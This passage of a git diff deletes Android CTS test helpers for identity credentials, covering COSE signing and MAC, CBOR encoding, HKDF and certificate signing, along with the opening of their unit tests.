-            throw new RuntimeException("Given signature is not valid CBOR", e);
-        }
-        if (dataItems.size() != 1) {
-            throw new RuntimeException("Expected just one data item");
-        }
-        DataItem dataItem = dataItems.get(0);
-        if (dataItem.getMajorType() != MajorType.ARRAY) {
-            throw new RuntimeException("Data item is not an array");
-        }
-        List<DataItem> items = ((co.nstant.in.cbor.model.Array) dataItem).getDataItems();
-        if (items.size() < 4) {
-            throw new RuntimeException("Expected at least four items in COSE_Sign1 array");
-        }
-        byte[] payload = new byte[0];
-        if (items.get(2).getMajorType() == MajorType.SPECIAL) {
-            if (((co.nstant.in.cbor.model.Special) items.get(2)).getSpecialType()
-                != SpecialType.SIMPLE_VALUE) {
-                throw new RuntimeException("Item 2 (payload) is a special but not a simple value");
-            }
-            SimpleValue simple = (co.nstant.in.cbor.model.SimpleValue) items.get(2);
-            if (simple.getSimpleValueType() != SimpleValueType.NULL) {
-                throw new RuntimeException("Item 2 (payload) is a simple but not the value null");
-            }
-        } else if (items.get(2).getMajorType() == MajorType.BYTE_STRING) {
-            payload = ((co.nstant.in.cbor.model.ByteString) items.get(2)).getBytes();
-        } else {
-            throw new RuntimeException("Item 2 (payload) is not nil or byte-string");
-        }
-        return payload;
-    }
-
-    // Returns the empty collection if no x5chain is included in the structure.
-    //
-    // Throws RuntimeException if the given bytes aren't valid COSE_Sign1.
-    //
-    public static Collection<X509Certificate> coseSign1GetX5Chain(byte[] signatureCose1)
-            throws CertificateException {
-        ArrayList<X509Certificate> ret = new ArrayList<>();
-        ByteArrayInputStream bais = new ByteArrayInputStream(signatureCose1);
-        List<DataItem> dataItems = null;
-        try {
-            dataItems = new CborDecoder(bais).decode();
-        } catch (CborException e) {
-            throw new RuntimeException("Given signature is not valid CBOR", e);
-        }
-        if (dataItems.size() != 1) {
-            throw new RuntimeException("Expected just one data item");
-        }
-        DataItem dataItem = dataItems.get(0);
-        if (dataItem.getMajorType() != MajorType.ARRAY) {
-            throw new RuntimeException("Data item is not an array");
-        }
-        List<DataItem> items = ((co.nstant.in.cbor.model.Array) dataItem).getDataItems();
-        if (items.size() < 4) {
-            throw new RuntimeException("Expected at least four items in COSE_Sign1 array");
-        }
-        if (items.get(1).getMajorType() != MajorType.MAP) {
-            throw new RuntimeException("Item 1 (unprocted headers) is not a map");
-        }
-        co.nstant.in.cbor.model.Map map = (co.nstant.in.cbor.model.Map) items.get(1);
-        DataItem x5chainItem = map.get(new UnsignedInteger(COSE_LABEL_X5CHAIN));
-        if (x5chainItem != null) {
-            CertificateFactory factory = CertificateFactory.getInstance("X.509");
-            if (x5chainItem instanceof ByteString) {
-                ByteArrayInputStream certBais =
-                        new ByteArrayInputStream(((ByteString) x5chainItem).getBytes());
-                ret.add((X509Certificate) factory.generateCertificate(certBais));
-            } else if (x5chainItem instanceof Array) {
-                for (DataItem certItem : ((Array) x5chainItem).getDataItems()) {
-                    if (!(certItem instanceof ByteString)) {
-                        throw new RuntimeException(
-                            "Unexpected type for array item in x5chain value");
-                    }
-                    ByteArrayInputStream certBais =
-                            new ByteArrayInputStream(((ByteString) certItem).getBytes());
-                    ret.add((X509Certificate) factory.generateCertificate(certBais));
-                }
-            } else {
-                throw new RuntimeException("Unexpected type for x5chain value");
-            }
-        }
-        return ret;
-    }
-
-    public static byte[] coseBuildToBeMACed(byte[] encodedProtectedHeaders,
-            byte[] payload,
-            byte[] detachedContent) {
-        CborBuilder macStructure = new CborBuilder();
-        ArrayBuilder<CborBuilder> array = macStructure.addArray();
-
-        array.add("MAC0");
-        array.add(encodedProtectedHeaders);
-
-        // We currently don't support Externally Supplied Data (RFC 8152 section 4.3)
-        // so external_aad is the empty bstr
-        byte emptyExternalAad[] = new byte[0];
-        array.add(emptyExternalAad);
-
-        // Next field is the payload, independently of how it's transported (RFC
-        // 8152 section 4.4). Since our API specifies only one of |data| and
-        // |detachedContent| can be non-empty, it's simply just the non-empty one.
-        if (payload != null && payload.length > 0) {
-            array.add(payload);
-        } else {
-            array.add(detachedContent);
-        }
-
-        return encodeCbor(macStructure.build());
-    }
-
-    public static byte[] coseMac0(SecretKey key,
-            @Nullable byte[] data,
-            byte[] detachedContent)
-            throws NoSuchAlgorithmException, InvalidKeyException, CertificateEncodingException {
-
-        int dataLen = (data != null ? data.length : 0);
-        int detachedContentLen = (detachedContent != null ? detachedContent.length : 0);
-        if (dataLen > 0 && detachedContentLen > 0) {
-            throw new RuntimeException("data and detachedContent cannot both be non-empty");
-        }
-
-        CborBuilder protectedHeaders = new CborBuilder();
-        MapBuilder<CborBuilder> protectedHeadersMap = protectedHeaders.addMap();
-        protectedHeadersMap.put(COSE_LABEL_ALG, COSE_ALG_HMAC_256_256);
-        byte[] protectedHeadersBytes = encodeCbor(protectedHeaders.build());
-
-        byte[] toBeMACed = coseBuildToBeMACed(protectedHeadersBytes, data, detachedContent);
-
-        byte[] mac = null;
-        Mac m = Mac.getInstance("HmacSHA256");
-        m.init(key);
-        m.update(toBeMACed);
-        mac = m.doFinal();
-
-        CborBuilder builder = new CborBuilder();
-        ArrayBuilder<CborBuilder> array = builder.addArray();
-        array.add(protectedHeadersBytes);
-        MapBuilder<ArrayBuilder<CborBuilder>> unprotectedHeaders = array.addMap();
-        if (data == null || data.length == 0) {
-            array.add(new SimpleValue(SimpleValueType.NULL));
-        } else {
-            array.add(data);
-        }
-        array.add(mac);
-
-        return encodeCbor(builder.build());
-    }
-
-    public static String replaceLine(String text, int lineNumber, String replacementLine) {
-        String[] lines = text.split("\n");
-        int numLines = lines.length;
-        if (lineNumber < 0) {
-            lineNumber = numLines - (-lineNumber);
-        }
-        StringBuilder sb = new StringBuilder();
-        for (int n = 0; n < numLines; n++) {
-            if (n == lineNumber) {
-                sb.append(replacementLine);
-            } else {
-                sb.append(lines[n]);
-            }
-            // Only add terminating newline if passed-in string ends in a newline.
-            if (n == numLines - 1) {
-                if (text.endsWith(("\n"))) {
-                    sb.append('\n');
-                }
-            } else {
-                sb.append('\n');
-            }
-        }
-        return sb.toString();
-    }
-
-    static byte[] cborEncode(DataItem dataItem) {
-        ByteArrayOutputStream baos = new ByteArrayOutputStream();
-        try {
-            new CborEncoder(baos).encode(dataItem);
-        } catch (CborException e) {
-            // This should never happen and we don't want cborEncode() to throw since that
-            // would complicate all callers. Log it instead.
-            e.printStackTrace();
-            Log.e(TAG, "Error encoding DataItem");
-        }
-        return baos.toByteArray();
-    }
-
-    static byte[] cborEncodeBoolean(boolean value) {
-        return cborEncode(new CborBuilder().add(value).build().get(0));
-    }
-
-    static byte[] cborEncodeString(@NonNull String value) {
-        return cborEncode(new CborBuilder().add(value).build().get(0));
-    }
-
-    static byte[] cborEncodeBytestring(@NonNull byte[] value) {
-        return cborEncode(new CborBuilder().add(value).build().get(0));
-    }
-
-    static byte[] cborEncodeInt(long value) {
-        return cborEncode(new CborBuilder().add(value).build().get(0));
-    }
-
-    static final int CBOR_SEMANTIC_TAG_ENCODED_CBOR = 24;
-
-    static DataItem cborToDataItem(byte[] data) {
-        ByteArrayInputStream bais = new ByteArrayInputStream(data);
-        try {
-            List<DataItem> dataItems = new CborDecoder(bais).decode();
-            if (dataItems.size() != 1) {
-                throw new RuntimeException("Expected 1 item, found " + dataItems.size());
-            }
-            return dataItems.get(0);
-        } catch (CborException e) {
-            throw new RuntimeException("Error decoding data", e);
-        }
-    }
-
-    static boolean cborDecodeBoolean(@NonNull byte[] data) {
-        return cborToDataItem(data) == SimpleValue.TRUE;
-    }
-
-    static String cborDecodeString(@NonNull byte[] data) {
-        return ((co.nstant.in.cbor.model.UnicodeString) cborToDataItem(data)).getString();
-    }
-
-    static long cborDecodeInt(@NonNull byte[] data) {
-        return ((co.nstant.in.cbor.model.Number) cborToDataItem(data)).getValue().longValue();
-    }
-
-    static byte[] cborDecodeBytestring(@NonNull byte[] data) {
-        return ((co.nstant.in.cbor.model.ByteString) cborToDataItem(data)).getBytes();
-    }
-
-    static String getStringEntry(ResultData data, String namespaceName, String name) {
-        return Util.cborDecodeString(data.getEntry(namespaceName, name));
-    }
-
-    static boolean getBooleanEntry(ResultData data, String namespaceName, String name) {
-        return Util.cborDecodeBoolean(data.getEntry(namespaceName, name));
-    }
-
-    static long getIntegerEntry(ResultData data, String namespaceName, String name) {
-        return Util.cborDecodeInt(data.getEntry(namespaceName, name));
-    }
-
-    static byte[] getBytestringEntry(ResultData data, String namespaceName, String name) {
-        return Util.cborDecodeBytestring(data.getEntry(namespaceName, name));
-    }
-
-    /*
-Certificate:
-    Data:
-        Version: 3 (0x2)
-        Serial Number: 1 (0x1)
-    Signature Algorithm: ecdsa-with-SHA256
-        Issuer: CN=fake
-        Validity
-            Not Before: Jan  1 00:00:00 1970 GMT
-            Not After : Jan  1 00:00:00 2048 GMT
-        Subject: CN=fake
-        Subject Public Key Info:
-            Public Key Algorithm: id-ecPublicKey
-                Public-Key: (256 bit)
-                00000000  04 9b 60 70 8a 99 b6 bf  e3 b8 17 02 9e 93 eb 48  |..`p...........H|
-                00000010  23 b9 39 89 d1 00 bf a0  0f d0 2f bd 6b 11 bc d1  |#.9......./.k...|
-                00000020  19 53 54 28 31 00 f5 49  db 31 fb 9f 7d 99 bf 23  |.ST(1..I.1..}..#|
-                00000030  fb 92 04 6b 23 63 55 98  ad 24 d2 68 c4 83 bf 99  |...k#cU..$.h....|
-                00000040  62                                                |b|
-    Signature Algorithm: ecdsa-with-SHA256
-         30:45:02:20:67:ad:d1:34:ed:a5:68:3f:5b:33:ee:b3:18:a2:
-         eb:03:61:74:0f:21:64:4a:a3:2e:82:b3:92:5c:21:0f:88:3f:
-         02:21:00:b7:38:5c:9b:f2:9c:b1:27:86:37:44:df:eb:4a:b2:
-         6c:11:9a:c1:ff:b2:80:95:ce:fc:5f:26:b4:20:6e:9b:0d
-     */
-
-
-    static @NonNull X509Certificate signPublicKeyWithPrivateKey(String keyToSignAlias,
-            String keyToSignWithAlias) {
-
-        KeyStore ks = null;
-        try {
-            ks = KeyStore.getInstance("AndroidKeyStore");
-            ks.load(null);
-
-            /* First note that KeyStore.getCertificate() returns a self-signed X.509 certificate
-             * for the key in question. As per RFC 5280, section 4.1 an X.509 certificate has the
-             * following structure:
-             *
-             *   Certificate  ::=  SEQUENCE  {
-             *        tbsCertificate       TBSCertificate,
-             *        signatureAlgorithm   AlgorithmIdentifier,
-             *        signatureValue       BIT STRING  }
-             *
-             * Conveniently, the X509Certificate class has a getTBSCertificate() method which
-             * returns the tbsCertificate blob. So all we need to do is just sign that and build
-             * signatureAlgorithm and signatureValue and combine it with tbsCertificate. We don't
-             * need a full-blown ASN.1/DER encoder to do this.
-             */
-            X509Certificate selfSignedCert = (X509Certificate) ks.getCertificate(keyToSignAlias);
-            byte[] tbsCertificate = selfSignedCert.getTBSCertificate();
-
-            KeyStore.Entry keyToSignWithEntry = ks.getEntry(keyToSignWithAlias, null);
-            Signature s = Signature.getInstance("SHA256withECDSA");
-            s.initSign(((KeyStore.PrivateKeyEntry) keyToSignWithEntry).getPrivateKey());
-            s.update(tbsCertificate);
-            byte[] signatureValue = s.sign();
-
-            /* The DER encoding for a SEQUENCE of length 128-65536 - the length is updated below.
-             *
-             * We assume - and test for below - that the final length is always going to be in
-             * this range. This is a sound assumption given we're using 256-bit EC keys.
-             */
-            byte[] sequence = new byte[]{
-                    0x30, (byte) 0x82, 0x00, 0x00
-            };
-
-            /* The DER encoding for the ECDSA with SHA-256 signature algorithm:
-             *
-             *   SEQUENCE (1 elem)
-             *      OBJECT IDENTIFIER 1.2.840.10045.4.3.2 ecdsaWithSHA256 (ANSI X9.62 ECDSA
-             *      algorithm with SHA256)
-             */
-            byte[] signatureAlgorithm = new byte[]{
-                    0x30, 0x0a, 0x06, 0x08, 0x2a, (byte) 0x86, 0x48, (byte) 0xce, 0x3d, 0x04, 0x03,
-                    0x02
-            };
-
-            /* The DER encoding for a BIT STRING with one element - the length is updated below.
-             *
-             * We assume the length of signatureValue is always going to be less than 128. This
-             * assumption works since we know ecdsaWithSHA256 signatures are always 69, 70, or
-             * 71 bytes long when DER encoded.
-             */
-            byte[] bitStringForSignature = new byte[]{0x03, 0x00, 0x00};
-
-            // Calculate sequence length and set it in |sequence|.
-            int sequenceLength = tbsCertificate.length
-                    + signatureAlgorithm.length
-                    + bitStringForSignature.length
-                    + signatureValue.length;
-            if (sequenceLength < 128 || sequenceLength > 65535) {
-                throw new Exception("Unexpected sequenceLength " + sequenceLength);
-            }
-            sequence[2] = (byte) (sequenceLength >> 8);
-            sequence[3] = (byte) (sequenceLength & 0xff);
-
-            // Calculate signatureValue length and set it in |bitStringForSignature|.
-            int signatureValueLength = signatureValue.length + 1;
-            if (signatureValueLength >= 128) {
-                throw new Exception("Unexpected signatureValueLength " + signatureValueLength);
-            }
-            bitStringForSignature[1] = (byte) signatureValueLength;
-
-            // Finally concatenate everything together.
-            ByteArrayOutputStream baos = new ByteArrayOutputStream();
-            baos.write(sequence);
-            baos.write(tbsCertificate);
-            baos.write(signatureAlgorithm);
-            baos.write(bitStringForSignature);
-            baos.write(signatureValue);
-            byte[] resultingCertBytes = baos.toByteArray();
-
-            CertificateFactory cf = CertificateFactory.getInstance("X.509");
-            ByteArrayInputStream bais = new ByteArrayInputStream(resultingCertBytes);
-            X509Certificate result = (X509Certificate) cf.generateCertificate(bais);
-            return result;
-        } catch (Exception e) {
-            throw new RuntimeException("Error signing public key with private key", e);
-        }
-    }
-
-    static byte[] buildDeviceAuthenticationCbor(String docType,
-            byte[] encodedSessionTranscript,
-            byte[] deviceNameSpacesBytes) {
-        ByteArrayOutputStream daBaos = new ByteArrayOutputStream();
-        try {
-            ByteArrayInputStream bais = new ByteArrayInputStream(encodedSessionTranscript);
-            List<DataItem> dataItems = null;
-            dataItems = new CborDecoder(bais).decode();
-            DataItem sessionTranscript = dataItems.get(0);
-            ByteString deviceNameSpacesBytesItem = new ByteString(deviceNameSpacesBytes);
-            deviceNameSpacesBytesItem.setTag(CBOR_SEMANTIC_TAG_ENCODED_CBOR);
-            new CborEncoder(daBaos).encode(new CborBuilder()
-                    .addArray()
-                    .add("DeviceAuthentication")
-                    .add(sessionTranscript)
-                    .add(docType)
-                    .add(deviceNameSpacesBytesItem)
-                    .end()
-                    .build());
-        } catch (CborException e) {
-            throw new RuntimeException("Error encoding DeviceAuthentication", e);
-        }
-        return daBaos.toByteArray();
-    }
-
-    static byte[] buildReaderAuthenticationBytesCbor(
-            byte[] encodedSessionTranscript,
-            byte[] requestMessageBytes) {
-
-        ByteArrayOutputStream daBaos = new ByteArrayOutputStream();
-        try {
-            ByteArrayInputStream bais = new ByteArrayInputStream(encodedSessionTranscript);
-            List<DataItem> dataItems = null;
-            dataItems = new CborDecoder(bais).decode();
-            DataItem sessionTranscript = dataItems.get(0);
-            ByteString requestMessageBytesItem = new ByteString(requestMessageBytes);
-            requestMessageBytesItem.setTag(CBOR_SEMANTIC_TAG_ENCODED_CBOR);
-            new CborEncoder(daBaos).encode(new CborBuilder()
-                    .addArray()
-                    .add("ReaderAuthentication")
-                    .add(sessionTranscript)
-                    .add(requestMessageBytesItem)
-                    .end()
-                    .build());
-        } catch (CborException e) {
-            throw new RuntimeException("Error encoding ReaderAuthentication", e);
-        }
-        byte[] readerAuthentication = daBaos.toByteArray();
-        return Util.prependSemanticTagForEncodedCbor(readerAuthentication);
-    }
-
-    static byte[] prependSemanticTagForEncodedCbor(byte[] encodedCbor) {
-        ByteArrayOutputStream baos = new ByteArrayOutputStream();
-        try {
-            ByteString taggedBytestring = new ByteString(encodedCbor);
-            taggedBytestring.setTag(CBOR_SEMANTIC_TAG_ENCODED_CBOR);
-            new CborEncoder(baos).encode(taggedBytestring);
-        } catch (CborException e) {
-            throw new RuntimeException("Error encoding with semantic tag for CBOR encoding", e);
-        }
-        return baos.toByteArray();
-    }
-
-    static byte[] concatArrays(byte[] a, byte[] b) {
-        byte[] ret = new byte[a.length + b.length];
-        System.arraycopy(a, 0, ret, 0, a.length);
-        System.arraycopy(b, 0, ret, a.length, b.length);
-        return ret;
-    }
-
-    static SecretKey calcEMacKeyForReader(PublicKey authenticationPublicKey,
-            PrivateKey ephemeralReaderPrivateKey,
-            byte[] encodedSessionTranscript) {
-        try {
-            KeyAgreement ka = KeyAgreement.getInstance("ECDH");
-            ka.init(ephemeralReaderPrivateKey);
-            ka.doPhase(authenticationPublicKey, true);
-            byte[] sharedSecret = ka.generateSecret();
-
-            byte[] sessionTranscriptBytes =
-                    Util.prependSemanticTagForEncodedCbor(encodedSessionTranscript);
-
-            byte[] salt = MessageDigest.getInstance("SHA-256").digest(sessionTranscriptBytes);
-            byte[] info = new byte[] {'E', 'M', 'a', 'c', 'K', 'e', 'y'};
-            byte[] derivedKey = Util.computeHkdf("HmacSha256", sharedSecret, salt, info, 32);
-            SecretKey secretKey = new SecretKeySpec(derivedKey, "");
-            return secretKey;
-        } catch (InvalidKeyException
-                | NoSuchAlgorithmException e) {
-            throw new RuntimeException("Error performing key agreement", e);
-        }
-    }
-
-    /**
-     * Computes an HKDF.
-     *
-     * This is based on https://github.com/google/tink/blob/master/java/src/main/java/com/google
-     * /crypto/tink/subtle/Hkdf.java
-     * which is also Copyright (c) Google and also licensed under the Apache 2 license.
-     *
-     * @param macAlgorithm the MAC algorithm used for computing the Hkdf. I.e., "HMACSHA1" or
-     *                     "HMACSHA256".
-     * @param ikm          the input keying material.
-     * @param salt         optional salt. A possibly non-secret random value. If no salt is
-     *                     provided (i.e. if
-     *                     salt has length 0) then an array of 0s of the same size as the hash
-     *                     digest is used as salt.
-     * @param info         optional context and application specific information.
-     * @param size         The length of the generated pseudorandom string in bytes. The maximal
-     *                     size is
-     *                     255.DigestSize, where DigestSize is the size of the underlying HMAC.
-     * @return size pseudorandom bytes.
-     */
-    static byte[] computeHkdf(
-            String macAlgorithm, final byte[] ikm, final byte[] salt, final byte[] info, int size) {
-        Mac mac = null;
-        try {
-            mac = Mac.getInstance(macAlgorithm);
-        } catch (NoSuchAlgorithmException e) {
-            throw new RuntimeException("No such algorithm: " + macAlgorithm, e);
-        }
-        if (size > 255 * mac.getMacLength()) {
-            throw new RuntimeException("size too large");
-        }
-        try {
-            if (salt == null || salt.length == 0) {
-                // According to RFC 5869, Section 2.2 the salt is optional. If no salt is provided
-                // then HKDF uses a salt that is an array of zeros of the same length as the hash
-                // digest.
-                mac.init(new SecretKeySpec(new byte[mac.getMacLength()], macAlgorithm));
-            } else {
-                mac.init(new SecretKeySpec(salt, macAlgorithm));
-            }
-            byte[] prk = mac.doFinal(ikm);
-            byte[] result = new byte[size];
-            int ctr = 1;
-            int pos = 0;
-            mac.init(new SecretKeySpec(prk, macAlgorithm));
-            byte[] digest = new byte[0];
-            while (true) {
-                mac.update(digest);
-                mac.update(info);
-                mac.update((byte) ctr);
-                digest = mac.doFinal();
-                if (pos + digest.length < size) {
-                    System.arraycopy(digest, 0, result, pos, digest.length);
-                    pos += digest.length;
-                    ctr++;
-                } else {
-                    System.arraycopy(digest, 0, result, pos, size - pos);
-                    break;
-                }
-            }
-            return result;
-        } catch (InvalidKeyException e) {
-            throw new RuntimeException("Error MACing", e);
-        }
-    }
-
-    static byte[] stripLeadingZeroes(byte[] value) {
-        int n = 0;
-        while (n < value.length && value[n] == 0) {
-            n++;
-        }
-        int newLen = value.length - n;
-        byte[] ret = new byte[newLen];
-        int m = 0;
-        while (n < value.length) {
-            ret[m++] = value[n++];
-        }
-        return ret;
-    }
-
-    static void hexdump(String name, byte[] data) {
-        int n, m, o;
-        StringBuilder sb = new StringBuilder();
-        Formatter fmt = new Formatter(sb);
-        for (n = 0; n < data.length; n += 16) {
-            fmt.format("%04x  ", n);
-            for (m = 0; m < 16 && n + m < data.length; m++) {
-                fmt.format("%02x ", data[n + m]);
-            }
-            for (o = m; o < 16; o++) {
-                sb.append("   ");
-            }
-            sb.append(" ");
-            for (m = 0; m < 16 && n + m < data.length; m++) {
-                int c = data[n + m] & 0xff;
-                fmt.format("%c", Character.isISOControl(c) ? '.' : c);
-            }
-            sb.append("\n");
-        }
-        sb.append("\n");
-        Log.e(TAG, name + ": dumping " + data.length + " bytes\n" + fmt.toString());
-    }
-
-
-    // This returns a SessionTranscript which satisfy the requirement
-    // that the uncompressed X and Y coordinates of the public key for the
-    // mDL's ephemeral key-pair appear somewhere in the encoded
-    // DeviceEngagement.
-    static byte[] buildSessionTranscript(KeyPair ephemeralKeyPair) {
-        // Make the coordinates appear in an already encoded bstr - this
-        // mimics how the mDL COSE_Key appear as encoded data inside the
-        // encoded DeviceEngagement
-        ByteArrayOutputStream baos = new ByteArrayOutputStream();
-        try {
-            ECPoint w = ((ECPublicKey) ephemeralKeyPair.getPublic()).getW();
-            // X and Y are always positive so for interop we remove any leading zeroes
-            // inserted by the BigInteger encoder.
-            byte[] x = stripLeadingZeroes(w.getAffineX().toByteArray());
-            byte[] y = stripLeadingZeroes(w.getAffineY().toByteArray());
-            baos.write(new byte[]{42});
-            baos.write(x);
-            baos.write(y);
-            baos.write(new byte[]{43, 44});
-        } catch (IOException e) {
-            e.printStackTrace();
-            return null;
-        }
-        byte[] blobWithCoords = baos.toByteArray();
-
-        baos = new ByteArrayOutputStream();
-        try {
-            new CborEncoder(baos).encode(new CborBuilder()
-                    .addArray()
-                    .add(blobWithCoords)
-                    .end()
-                    .build());
-        } catch (CborException e) {
-            e.printStackTrace();
-            return null;
-        }
-        ByteString encodedDeviceEngagementItem = new ByteString(baos.toByteArray());
-        ByteString encodedEReaderKeyItem = new ByteString(cborEncodeString("doesn't matter"));
-        encodedDeviceEngagementItem.setTag(CBOR_SEMANTIC_TAG_ENCODED_CBOR);
-        encodedEReaderKeyItem.setTag(CBOR_SEMANTIC_TAG_ENCODED_CBOR);
-
-        baos = new ByteArrayOutputStream();
-        try {
-            new CborEncoder(baos).encode(new CborBuilder()
-                    .addArray()
-                    .add(encodedDeviceEngagementItem)
-                    .add(encodedEReaderKeyItem)
-                    .end()
-                    .build());
-        } catch (CborException e) {
-            e.printStackTrace();
-            return null;
-        }
-        return baos.toByteArray();
-    }
-
-    /*
-     * Helper function to create a CBOR data for requesting data items. The IntentToRetain
-     * value will be set to false for all elements.
-     *
-     * <p>The returned CBOR data conforms to the following CDDL schema:</p>
-     *
-     * <pre>
-     *   ItemsRequest = {
-     *     ? "docType" : DocType,
-     *     "nameSpaces" : NameSpaces,
-     *     ? "RequestInfo" : {* tstr => any} ; Additional info the reader wants to provide
-     *   }
-     *
-     *   NameSpaces = {
-     *     + NameSpace => DataElements     ; Requested data elements for each NameSpace
-     *   }
-     *
-     *   DataElements = {
-     *     + DataElement => IntentToRetain
-     *   }
-     *
-     *   DocType = tstr
-     *
-     *   DataElement = tstr
-     *   IntentToRetain = bool
-     *   NameSpace = tstr
-     * </pre>
-     *
-     * @param entriesToRequest       The entries to request, organized as a map of namespace
-     *                               names with each value being a collection of data elements
-     *                               in the given namespace.
-     * @param docType                  The document type or {@code null} if there is no document
-     *                                 type.
-     * @return CBOR data conforming to the CDDL mentioned above.
-     */
-    static @NonNull byte[] createItemsRequest(
-            @NonNull Map<String, Collection<String>> entriesToRequest,
-            @Nullable String docType) {
-        CborBuilder builder = new CborBuilder();
-        MapBuilder<CborBuilder> mapBuilder = builder.addMap();
-        if (docType != null) {
-            mapBuilder.put("docType", docType);
-        }
-
-        MapBuilder<MapBuilder<CborBuilder>> nsMapBuilder = mapBuilder.putMap("nameSpaces");
-        for (String namespaceName : entriesToRequest.keySet()) {
-            Collection<String> entryNames = entriesToRequest.get(namespaceName);
-            MapBuilder<MapBuilder<MapBuilder<CborBuilder>>> entryNameMapBuilder =
-                    nsMapBuilder.putMap(namespaceName);
-            for (String entryName : entryNames) {
-                entryNameMapBuilder.put(entryName, false);
-            }
-        }
-
-        ByteArrayOutputStream baos = new ByteArrayOutputStream();
-        CborEncoder encoder = new CborEncoder(baos);
-        try {
-            encoder.encode(builder.build());
-        } catch (CborException e) {
-            throw new RuntimeException("Error encoding CBOR", e);
-        }
-        return baos.toByteArray();
-    }
-
-    static KeyPair createEphemeralKeyPair() {
-        try {
-            KeyPairGenerator kpg = KeyPairGenerator.getInstance(KeyProperties.KEY_ALGORITHM_EC);
-            ECGenParameterSpec ecSpec = new ECGenParameterSpec("prime256v1");
-            kpg.initialize(ecSpec);
-            KeyPair keyPair = kpg.generateKeyPair();
-            return keyPair;
-        } catch (NoSuchAlgorithmException
-                | InvalidAlgorithmParameterException e) {
-            throw new RuntimeException("Error generating ephemeral key-pair", e);
-        }
-    }
-
-    // Returns true if, and only if, the Identity Credential HAL (and credstore) is implemented
-    // on the device under test.
-    static boolean isHalImplemented() {
-        Context appContext = InstrumentationRegistry.getTargetContext();
-        IdentityCredentialStore store = IdentityCredentialStore.getInstance(appContext);
-        if (store != null) {
-            return true;
-        }
-        return false;
-    }
-
-    // Returns true if, and only if, the Direct Access Identity Credential HAL (and credstore) is
-    // implemented on the device under test.
-    static boolean isDirectAccessHalImplemented() {
-        Context appContext = InstrumentationRegistry.getTargetContext();
-        IdentityCredentialStore store = IdentityCredentialStore.getDirectAccessInstance(appContext);
-        if (store != null) {
-            return true;
-        }
-        return false;
-    }
-
-    static byte[] getPopSha256FromAuthKeyCert(X509Certificate cert) {
-        byte[] octetString = cert.getExtensionValue("1.3.6.1.4.1.11129.2.1.26");
-        if (octetString == null) {
-            return null;
-        }
-        Util.hexdump("octetString", octetString);
-
-        try {
-            ASN1InputStream asn1InputStream = new ASN1InputStream(octetString);
-            byte[] cborBytes = ((ASN1OctetString) asn1InputStream.readObject()).getOctets();
-            Util.hexdump("cborBytes", cborBytes);
-
-            ByteArrayInputStream bais = new ByteArrayInputStream(cborBytes);
-            List<DataItem> dataItems = new CborDecoder(bais).decode();
-            if (dataItems.size() != 1) {
-                throw new RuntimeException("Expected 1 item, found " + dataItems.size());
-            }
-            if (!(dataItems.get(0) instanceof co.nstant.in.cbor.model.Array)) {
-                throw new RuntimeException("Item is not a map");
-            }
-            co.nstant.in.cbor.model.Array array = (co.nstant.in.cbor.model.Array) dataItems.get(0);
-            List<DataItem> items = array.getDataItems();
-            if (items.size() < 2) {
-                throw new RuntimeException("Expected at least 2 array items, found " + items.size());
-            }
-            if (!(items.get(0) instanceof UnicodeString)) {
-                throw new RuntimeException("First array item is not a string");
-            }
-            String id = ((UnicodeString) items.get(0)).getString();
-            if (!id.equals("ProofOfBinding")) {
-                throw new RuntimeException("Expected ProofOfBinding, got " + id);
-            }
-            if (!(items.get(1) instanceof ByteString)) {
-                throw new RuntimeException("Second array item is not a bytestring");
-            }
-            byte[] popSha256 = ((ByteString) items.get(1)).getBytes();
-            if (popSha256.length != 32) {
-                throw new RuntimeException("Expected bstr to be 32 bytes, it is " + popSha256.length);
-            }
-            return popSha256;
-        } catch (IOException e) {
-            throw new RuntimeException("Error decoding extension data", e);
-        } catch (CborException e) {
-            throw new RuntimeException("Error decoding data", e);
-        }
-    }
-
-}
diff --git a/tests/tests/identity/src/android/security/identity/cts/UtilUnitTests.java b/tests/tests/identity/src/android/security/identity/cts/UtilUnitTests.java
deleted file mode 100644
index c77de79..0000000
--- a/tests/tests/identity/src/android/security/identity/cts/UtilUnitTests.java
+++ /dev/null
@@ -1,376 +0,0 @@
-/*
- * Copyright 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.identity.cts;
-
-import java.security.KeyPair;
-import java.security.KeyPairGenerator;
-import android.security.keystore.KeyGenParameterSpec;
-import android.security.keystore.KeyProperties;
-
-import static org.junit.Assert.assertArrayEquals;
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertTrue;
-
-import org.junit.Test;
-
-import java.io.ByteArrayOutputStream;
-import java.util.ArrayList;
-
-import java.security.cert.X509Certificate;
-import javax.crypto.SecretKey;
-import javax.crypto.spec.SecretKeySpec;
-
-import co.nstant.in.cbor.CborBuilder;
-import co.nstant.in.cbor.CborEncoder;
-import co.nstant.in.cbor.CborException;
-import co.nstant.in.cbor.builder.ArrayBuilder;
-import co.nstant.in.cbor.model.ByteString;
-import co.nstant.in.cbor.model.DoublePrecisionFloat;
-import co.nstant.in.cbor.model.HalfPrecisionFloat;
-import co.nstant.in.cbor.model.NegativeInteger;
-import co.nstant.in.cbor.model.SimpleValue;
-import co.nstant.in.cbor.model.SimpleValueType;
-import co.nstant.in.cbor.model.SinglePrecisionFloat;
-import co.nstant.in.cbor.model.UnicodeString;
-import co.nstant.in.cbor.model.UnsignedInteger;
-
-public class UtilUnitTests {
-    @Test
-    public void prettyPrintMultipleCompleteTypes() throws CborException {
-        ByteArrayOutputStream baos = new ByteArrayOutputStream();
-        new CborEncoder(baos).encode(new CborBuilder()
-                .add("text")                // add string
-                .add(1234)                  // add integer
-                .add(new byte[]{0x10})   // add byte array
-                .addArray()                 // add array
-                .add(1)
-                .add("text")
-                .end()
-                .build());
-        assertEquals("'text',\n"
-                + "1234,\n"
-                + "[0x10],\n"
-                + "[1, 'text']", Util.cborPrettyPrint(baos.toByteArray()));
-    }
-
-    @Test
-    public void prettyPrintString() throws CborException {
-        ByteArrayOutputStream baos = new ByteArrayOutputStream();
-        new CborEncoder(baos).encode(new UnicodeString("foobar"));
-        assertEquals("'foobar'", Util.cborPrettyPrint(baos.toByteArray()));
-    }
-
-    @Test
-    public void prettyPrintBytestring() throws CborException {
